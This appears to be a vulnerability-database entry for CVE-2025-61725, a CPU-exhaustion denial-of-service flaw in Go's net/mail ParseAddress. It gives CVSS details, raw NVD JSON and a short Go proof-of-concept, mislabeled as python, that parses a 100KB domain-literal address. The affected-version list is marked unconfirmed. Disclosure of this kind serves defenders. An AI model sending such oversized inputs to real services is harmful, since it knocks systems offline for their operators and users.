Security Vulnerability Report
中文
CVE-2025-61725 CVSS 7.5 HIGH

CVE-2025-61725

Published: 2025-10-29 23:16:20
Last Modified: 2026-04-15 00:35:42

Description

The ParseAddress function constructs domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Go语言 < 1.23.x (待确认具体版本)
Go语言 < 1.22.x (待确认具体版本)
Go net/mail包受影响版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-61725 PoC - DoS via ParseAddress function package main import ( "fmt" "net/mail" "time" ) func main() { // Create a large domain-literal component to trigger CPU exhaustion // The vulnerability occurs when parsing addresses with oversized domain-literal parts largeDomain := make([]byte, 100000) // 100KB of data for i := range largeDomain { largeDomain[i] = 'x' } maliciousAddress := fmt.Sprintf("user@[.%s]", largeDomain) fmt.Println("Starting ParseAddress with large domain-literal...") start := time.Now() _, err := mail.ParseAddress(maliciousAddress) elapsed := time.Since(start) fmt.Printf("ParseAddress completed in: %v\n", elapsed) if err != nil { fmt.Printf("Parse error (expected): %v\n", err) } // Note: In vulnerable versions, this will consume excessive CPU time // Fixed versions should parse quickly with optimized string handling }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61725", "sourceIdentifier": "[email protected]", "published": "2025-10-29T23:16:20.113", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The ParseAddress function constructs domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "references": [{"url": "https://go.dev/cl/709860", "source": "[email protected]"}, {"url": "https://go.dev/issue/75680", "source": "[email protected]"}, {"url": "https://groups.google.com/g/golang-announce/c/4Emdl2iQ_bI", "source": "[email protected]"}, {"url": "https://pkg.go.dev/vuln/GO-2025-4006", "source": "[email protected]"}, {"url": "http://www.openwall.com/lists/oss-security/2025/10/08/1", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}